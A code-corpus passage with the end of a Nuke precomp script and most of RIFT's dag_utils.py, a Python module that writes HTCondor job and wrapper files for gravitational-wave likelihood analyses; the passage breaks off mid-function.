nuke.Link_Knob ): lnk = nuke.Link_Knob( k.name() ) lnk.setLink( k.getLink() ) g.addKnob( lnk ) def precomp_selected(): nodes = nuke.selectedNodes() if len(nodes) == 0: g = nuke.createNode( "Precomp" ) return options = PrecompOptions() if not options.askUserForOptions(): return False sel = nodes[0] ## select upstream nodes if len( nodes ) == 1: upstreamNodes = nuke.dependencies( nodes ) while len ( upstreamNodes ) != 0: nodes += upstreamNodes upstreamNodes = nuke.dependencies( upstreamNodes ) left = right = nodes[0].xpos() top = bottom = nodes[0].ypos() nodeSize = 100 titleHeight = 50 inputs = [] for n in nodes: n["selected"].setValue ( True ) if n.xpos() < left: left = n.xpos() if n.xpos() > right: right = n.xpos() if n.ypos() < top: top = n.ypos() if n.ypos() > bottom: bottom = n.ypos() for i in range( 0, n.inputs() ): if not n.input(i): continue if not n.input(i) in nodes: inputs.append( n.input(i) ) ## find all the dependent nodes inputDeps = [] expressionDeps = [] for n in nodes: for d in nuke.dependentNodes( nuke.INPUTS, [n]): if d not in nodes: if d.Class() != 'Viewer': inputIndices = [i for i in range(d.inputs()) if d.input(i) == n] inputDeps.append( (d, inputIndices) ) for d in nuke.dependencies( [n], nuke.EXPRESSIONS ): if d not in nodes: expressionDeps.append( d ) if len(inputDeps) > 1: nuke.message( "You cannot precomp the selected nodes because there are multiple outputs." ) return addLinkedExpressionNodes = False if len(expressionDeps) > 0: addLinkedExpressionNodes = nuke.ask( "Warning: The selected nodes have expressions to nodes outside the precomp. Do you want to copy these nodes to the precomp?" ) ## make group and export if len( nodes ) == 1 and nodes[0].Class() == "Group": group = nodes[0] else: group = nuke.makeGroup( False ) with group: outputInputs = [] output = group.output() for i in range(0, output.inputs()): outputInputs.append( output.input(i) ) ## insert write node or use existing one outInp = output.input(0) if outInp is None or outInp.Class() != "Write": w = nuke.createNode( "Write", inpanel = False) w.setInput( 0, None ) else: w = outInp for i in range(0, len(outputInputs) ): w.setInput( i, outputInputs[i] ) output.setInput(i, None ) output.setInput(0, w ) w.knob("file").setValue( options.renderPath ) type = os.path.splitext( options.renderPath)[1][1:].lower() w.knob("file_type").setValue( type ) w.knob("channels").setValue( options.channels ) for n in nuke.allNodes(): n['selected'].setValue( False ) if addLinkedExpressionNodes: for n in nuke.allNodes(): n['selected'].setValue( False ) for n in expressionDeps: n['selected'].setValue( True ) nuke.nodeCopy ( '%clipboard%' ) with group: nuke.nodePaste( '%clipboard%' ) writeOk = True with group: try: nuke.tcl("export_as_precomp", options.scriptPath) except: nuke.message( "Could not write precomp script, permission denied, please specify a different \'script path\' and try again.") writeOk = False for n in nuke.selectedNodes(): n['selected'].setValue( False ) if group != nodes[0]: group['selected'].setValue( False ) nuke.delete( group ) if not writeOk: for n in nuke.selectedNodes(): n['selected'].setValue( False ) for n in nodes: n['selected'].setValue( True ) return ## reload saved out script g = nuke.createNode( "Precomp" ) g[ "file" ].setValue( options.scriptPath ) #nuke.tprint( "Selected Node: " + sel.name() ) for d in inputDeps: node = d[0] for inp in d[1]: #nuke.tprint ( "Reconnecting dep " + node.name() + " input " + str(inp) ) node.setInput(inp, g) ## reconnect inputs, if any for i in range(0, len(inputs)): #nuke.tprint ( "Reconnecting input " + inputs[i].name() + " " + str(i) ) g.setInput(i, inputs[i] ) pad = 5 if options.addBackdrop: b = nuke.createNode( "BackdropNode", inpanel = False ) width = int(math.fabs(right - left)) + (pad * 2) + nodeSize height = int(math.fabs(bottom - top)) + ( pad * 2 ) + nodeSize + titleHeight b['label'].setValue( os.path.basename( options.scriptPath ) ) b['note_font_size'].setValue( 18 ) b.setXYpos( left - pad * 2, top - ( pad * 2) - titleHeight ) b.knob( "bdwidth" ).setValue( width ) b.knob( "bdheight").setValue( height ) b.knob( "z_order" ).setValue( 0 ) b['selected'].setValue(False) g.setXYpos( b.xpos() + width/2 - nodeSize/2, b.ypos() + height + pad * 2 ) elif options.delete: for n in nodes: nuke.delete( n ) if len(inputs) > 0: nuke.message( "Warning: The precomp script requires inputs and may not render the same independent of its parent script." ) return group

0

2,282

0

6,260

0

24

249

71db7646b48f42a2dbbfeaf06ad12d63c39123bf

72,149

py

Python

MonteCarloMarginalizeCode/Code/RIFT/misc/dag_utils.py

spfanning/research-projects-RIT

34afc69ccb502825c81285733dac8ff993f79503

[ "MIT" ]

8

2019-10-23T01:18:44.000Z

2021-07-09T18:24:36.000Z

MonteCarloMarginalizeCode/Code/RIFT/misc/dag_utils.py

spfanning/research-projects-RIT

34afc69ccb502825c81285733dac8ff993f79503

[ "MIT" ]

7

2020-01-03T14:38:26.000Z

2022-01-17T16:57:02.000Z

MonteCarloMarginalizeCode/Code/RIFT/misc/dag_utils.py

spfanning/research-projects-RIT

34afc69ccb502825c81285733dac8ff993f79503

[ "MIT" ]

11

2019-10-23T01:19:50.000Z

2021-11-20T23:35:39.000Z

# Copyright (C) 2013 Evan Ochsner # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """ A collection of routines to manage Condor workflows (DAGs). """ import os, sys import numpy as np from time import time from hashlib import md5 from glue import pipeline __author__ = "Evan Ochsner <[email protected]>, Chris Pankow <[email protected]>" # Taken from # http://pythonadventures.wordpress.com/2011/03/13/equivalent-of-the-which-command-in-python/ def generate_job_id(): """ Generate a unique md5 hash for use as a job ID. Borrowed and modified from the LAL code in glue/glue/pipeline.py """ t = str( int( time() * 1000 ) ) r = str( int( np.random.random() * 100000000000000000 ) ) return md5(t + r).hexdigest() # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py def write_integrate_likelihood_extrinsic_grid_sub(tag='integrate', exe=None, log_dir=None, ncopies=1, **kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over extrinsic parameters. Like the other case (below), but modified to use the sim_xml and loop over 'event' Inputs: - 'tag' is a string to specify the base name of output files. The output submit file will be named tag.sub, and the jobs will write their output to tag-ID.out, tag-ID.err, tag.log, where 'ID' is a unique identifier for each instance of a job run from the sub file. - 'cache' is the path to a cache file which gives the location of the data to be analyzed. - 'sim' is the path to the XML file with the grid - 'channelH1/L1/V1' is the channel name to be read for each of the H1, L1 and V1 detectors. - 'psdH1/L1/V1' is the path to an XML file specifying the PSD of each of the H1, L1, V1 detectors. - 'ncopies' is the number of runs with identical input parameters to submit per condor 'cluster' Outputs: - An instance of the CondorDAGJob that was generated for ILE """ assert len(kwargs["psd_file"]) == len(kwargs["channel_name"]) exe = exe or which("integrate_likelihood_extrinsic") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) # # Macro based options # ile_job.add_var_opt("event") ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', '2048') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name # FIXME: Keep in sync with arguments of integrate_likelihood_extrinsic def write_integrate_likelihood_extrinsic_sub(tag='integrate', exe=None, log_dir=None, ncopies=1, **kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over extrinsic parameters. Inputs: - 'tag' is a string to specify the base name of output files. The output submit file will be named tag.sub, and the jobs will write their output to tag-ID.out, tag-ID.err, tag.log, where 'ID' is a unique identifier for each instance of a job run from the sub file. - 'cache' is the path to a cache file which gives the location of the data to be analyzed. - 'coinc' is the path to a coincident XML file, from which masses and times will be drawn FIXME: remove this once it's no longer needed. - 'channelH1/L1/V1' is the channel name to be read for each of the H1, L1 and V1 detectors. - 'psdH1/L1/V1' is the path to an XML file specifying the PSD of each of the H1, L1, V1 detectors. - 'ncopies' is the number of runs with identical input parameters to submit per condor 'cluster' Outputs: - An instance of the CondorDAGJob that was generated for ILE """ assert len(kwargs["psd_file"]) == len(kwargs["channel_name"]) exe = exe or which("integrate_likelihood_extrinsic") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) # # Macro based options # ile_job.add_var_opt("mass1") ile_job.add_var_opt("mass2") ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', '2048') return ile_job, ile_sub_name def write_result_coalescence_sub(tag='coalesce', exe=None, log_dir=None, output_dir="./", use_default_cache=True): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("ligolw_sqlite") sql_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) sql_sub_name = tag + '.sub' sql_job.set_sub_file(sql_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" sql_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) sql_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) sql_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if use_default_cache: sql_job.add_opt("input-cache", "ILE_$(macromassid).cache") else: sql_job.add_arg("$(macrofiles)") #sql_job.add_arg("*$(macromassid)*.xml.gz") sql_job.add_opt("database", "ILE_$(macromassid).sqlite") #if os.environ.has_key("TMPDIR"): #tmpdir = os.environ["TMPDIR"] #else: #print >>sys.stderr, "WARNING, TMPDIR environment variable not set. Will default to /tmp/, but this could be dangerous." #tmpdir = "/tmp/" tmpdir = "/dev/shm/" sql_job.add_opt("tmp-space", tmpdir) sql_job.add_opt("verbose", None) sql_job.add_condor_cmd('getenv', 'True') sql_job.add_condor_cmd('request_memory', '1024') return sql_job, sql_sub_name def write_posterior_plot_sub(tag='plot_post', exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("plot_like_contours") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("show-points", None) plot_job.add_opt("dimension1", "mchirp") plot_job.add_opt("dimension2", "eta") plot_job.add_opt("input-cache", "ILE_all.cache") plot_job.add_opt("log-evidence", None) plot_job.add_condor_cmd('getenv', 'True') plot_job.add_condor_cmd('request_memory', '1024') return plot_job, plot_sub_name def write_tri_plot_sub(tag='plot_tri', injection_file=None, exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("make_triplot") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("output", "ILE_triplot_$(macromassid).png") if injection_file is not None: plot_job.add_opt("injection", injection_file) plot_job.add_arg("ILE_$(macromassid).sqlite") plot_job.add_condor_cmd('getenv', 'True') #plot_job.add_condor_cmd('request_memory', '2048') return plot_job, plot_sub_name def write_1dpos_plot_sub(tag='1d_post_plot', exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("postprocess_1d_cumulative") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("save-sampler-file", "ILE_$(macromassid).sqlite") plot_job.add_opt("disable-triplot", None) plot_job.add_opt("disable-1d-density", None) plot_job.add_condor_cmd('getenv', 'True') plot_job.add_condor_cmd('request_memory', '2048') return plot_job, plot_sub_name def write_CIP_sub(tag='integrate', exe=None, input_net='all.net',output='output-ILE-samples',universe="vanilla",out_dir=None,log_dir=None, use_eos=False,ncopies=1,arg_str=None,request_memory=8192,arg_vals=None, no_grid=False,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("util_ConstructIntrinsicPosterior_GenericCoordinates.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt("fname", input_net) ile_job.add_opt("fname-output-samples", out_dir+"/"+output) ile_job.add_opt("fname-output-integral", out_dir+"/"+output) # # Macro based options. # - select EOS from list (done via macro) # - pass spectral parameters # # ile_job.add_var_opt("event") if use_eos: ile_job.add_var_opt("using-eos") # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "fname_output_samples" in kwargs and kwargs["fname_output_samples"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["fname_output_samples"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) if "fname_output_integral" in kwargs and kwargs["fname_output_integral"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["fname_output_integral"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) ile_job.add_condor_cmd("stream_error",'True') ile_job.add_condor_cmd("stream_output",'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name def write_puff_sub(tag='puffball', exe=None, input_net='output-ILE-samples',output='puffball',universe="vanilla",out_dir=None,log_dir=None, use_eos=False,ncopies=1,arg_str=None,request_memory=1024,arg_vals=None, no_grid=False,**kwargs): """ Perform puffball calculation Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("util_ParameterPuffball.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt("inj-file", input_net) ile_job.add_opt("inj-file-out", output) # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_ILE_sub_simple(tag='integrate', exe=None, log_dir=None, use_eos=False,simple_unique=False,ncopies=1,arg_str=None,request_memory=4096,request_gpu=False,request_disk=False,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,use_simple_osg_requirements=False,singularity_image=None,use_cvmfs_frames=False,frames_dir=None,cache_file=None,fragile_hold=False,max_runtime_minutes=None,condor_commands=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ if use_singularity and (singularity_image == None) : print(" FAIL : Need to specify singularity_image to use singularity ") sys.exit(0) if use_singularity and (frames_dir == None) and (cache_file == None) : print(" FAIL : Need to specify frames_dir or cache_file to use singularity (at present) ") sys.exit(0) if use_singularity and (transfer_files == None) : print(" FAIL : Need to specify transfer_files to use singularity at present! (we will append the prescript; you should transfer any PSDs as well as the grid file ") sys.exit(0) exe = exe or which("integrate_likelihood_extrinsic") frames_local = None if use_singularity: path_split = exe.split("/") print((" Executable: name breakdown ", path_split, " from ", exe)) singularity_base_exe_path = "/opt/lscsoft/rift/MonteCarloMarginalizeCode/Code/" # should not hardcode this ...! if 'SINGULARITY_BASE_EXE_DIR' in list(os.environ.keys()) : singularity_base_exe_path = os.environ['SINGULARITY_BASE_EXE_DIR'] else: # singularity_base_exe_path = "/opt/lscsoft/rift/MonteCarloMarginalizeCode/Code/" # should not hardcode this ...! singularity_base_exe_path = "/usr/bin/" # should not hardcode this ...! exe=singularity_base_exe_path + path_split[-1] if not(frames_dir is None): frames_local = frames_dir.split("/")[-1] elif use_osg: # NOT using singularity! if not(frames_dir is None): frames_local = frames_dir.split("/")[-1] path_split = exe.split("/") exe=path_split[-1] # pull out basename exe_here = 'my_wrapper.sh' if transfer_files is None: transfer_files = [] transfer_files += ['../my_wrapper.sh'] with open(exe_here,'w') as f: f.write("#! /bin/bash \n") f.write(r""" #!/bin/bash # Modules and scripts run directly from repository # Note the repo and branch are self-referential ! Not a robust solution long-term # Exit on failure: # set -e export INSTALL_DIR=research-projects-RIT export ILE_DIR=${INSTALL_DIR}/MonteCarloMarginalizeCode/Code export PATH=${PATH}:${ILE_DIR} export PYTHONPATH=${PYTHONPATH}:${ILE_DIR} export GW_SURROGATE=gwsurrogate git clone https://git.ligo.org/richard-oshaughnessy/research-projects-RIT.git pushd ${INSTALL_DIR} git checkout temp-RIT-Tides-port_master-GPUIntegration popd ls cat local.cache echo Starting ... ./research-projects-RIT/MonteCarloMarginalizeCode/Code/""" + exe + " $@ \n") os.system("chmod a+x "+exe_here) exe = exe_here # update executable ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # # Macro based options. # - select EOS from list (done via macro) # - pass spectral parameters # # ile_job.add_var_opt("event") if use_eos: ile_job.add_var_opt("using-eos") requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" if simple_unique: uniq_str = "$(macroevent)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) if cache_file: ile_job.add_opt("cache-file",cache_file) ile_job.add_var_opt("event") if not use_osg: ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) if not(request_disk is False): ile_job.add_condor_cmd('request_disk', str(request_disk)) nGPUs =0 if request_gpu: nGPUs=1 ile_job.add_condor_cmd('request_GPUs', str(nGPUs)) if use_singularity: # Compare to https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('request_CPUs', str(1)) ile_job.add_condor_cmd('transfer_executable', 'False') ile_job.add_condor_cmd("+SingularityBindCVMFS", 'True') ile_job.add_condor_cmd("+SingularityImage", '"' + singularity_image + '"') requirements = [] requirements.append("HAS_SINGULARITY=?=TRUE") # if not(use_simple_osg_requirements): # requirements.append("HAS_CVMFS_LIGO_CONTAINERS=?=TRUE") #ile_job.add_condor_cmd("requirements", ' (IS_GLIDEIN=?=True) && (HAS_LIGO_FRAMES=?=True) && (HAS_SINGULARITY=?=TRUE) && (HAS_CVMFS_LIGO_CONTAINERS=?=TRUE)') if use_cvmfs_frames: requirements.append("HAS_LIGO_FRAMES=?=TRUE") ile_job.add_condor_cmd('use_x509userproxy','True') if 'X509_USER_PROXY' in list(os.environ.keys()): print(" Storing copy of X509 user proxy -- beware expiration! ") cwd = os.getcwd() fname_proxy = cwd +"/my_proxy" # this can get overwritten, that's fine - just renews, feature not bug os.system("cp ${X509_USER_PROXY} " + fname_proxy) # ile_job.add_condor_cmd('x509userproxy',os.environ['X509_USER_PROXY']) ile_job.add_condor_cmd('x509userproxy',fname_proxy) if use_osg: if not(use_simple_osg_requirements): requirements.append("IS_GLIDEIN=?=TRUE") # avoid black-holing jobs to specific machines that consistently fail. Uses history attribute for ad ile_job.add_condor_cmd('periodic_release','(HoldReasonCode == 45) && (HoldReasonSubCode == 0)') ile_job.add_condor_cmd('job_machine_attrs','Machine') ile_job.add_condor_cmd('job_machine_attrs_history_length','4') # for indx in [1,2,3,4]: # requirements.append("TARGET.GLIDEIN_ResourceName=!=MY.MachineAttrGLIDEIN_ResourceName{}".format(indx)) if "OSG_DESIRED_SITES" in os.environ: ile_job.add_condor_cmd('+DESIRED_SITES',os.environ["OSG_DESIRED_SITES"]) if "OSG_UNDESIRED_SITES" in os.environ: ile_job.add_condor_cmd('+UNDESIRED_SITES',os.environ["OSG_UNDESIRED_SITES"]) # Some options to automate restarts, acts on top of RETRY in dag if fragile_hold: ile_job.add_condor_cmd("periodic_release","(NumJobStarts < 5) && ((CurrentTime - EnteredCurrentStatus) > 600)") ile_job.add_condor_cmd("on_exit_hold","(ExitBySignal == True) || (ExitCode != 0)") if use_singularity or use_osg: # Set up file transfer options ile_job.add_condor_cmd("when_to_transfer_output",'ON_EXIT') # Stream log info ile_job.add_condor_cmd("stream_error",'True') ile_job.add_condor_cmd("stream_output",'True') # Create prescript command to set up local.cache, only if frames are needed # if we have CVMFS frames, we should be copying local.cache over directly, with it already populated ! if not(frames_local is None) and not(use_cvmfs_frames): # should be required for singularity or osg try: lalapps_path2cache=os.environ['LALAPPS_PATH2CACHE'] except KeyError: print("Variable LALAPPS_PATH2CACHE is unset, assume default lalapps_path2cache is appropriate") lalapps_path2cache="lalapps_path2cache" cmdname = 'ile_pre.sh' if transfer_files is None: transfer_files = [] transfer_files += ["../ile_pre.sh", frames_dir] # assuming default working directory setup with open(cmdname,'w') as f: f.write("#! /bin/bash -xe \n") f.write( "ls "+frames_local+" | {lalapps_path2cache} 1> local.cache \n".format(lalapps_path2cache=lalapps_path2cache)) # Danger: need user to correctly specify local.cache directory # Rewrite cache file to use relative paths, not a file:// operation f.write(" cat local.cache | awk '{print $1, $2, $3, $4}' > local_stripped.cache \n") f.write("for i in `ls " + frames_local + "`; do echo "+ frames_local + "/$i; done > base_paths.dat \n") f.write("paste local_stripped.cache base_paths.dat > local_relative.cache \n") f.write("cp local_relative.cache local.cache \n") os.system("chmod a+x ile_pre.sh") ile_job.add_condor_cmd('+PreCmd', '"ile_pre.sh"') # if use_osg: # 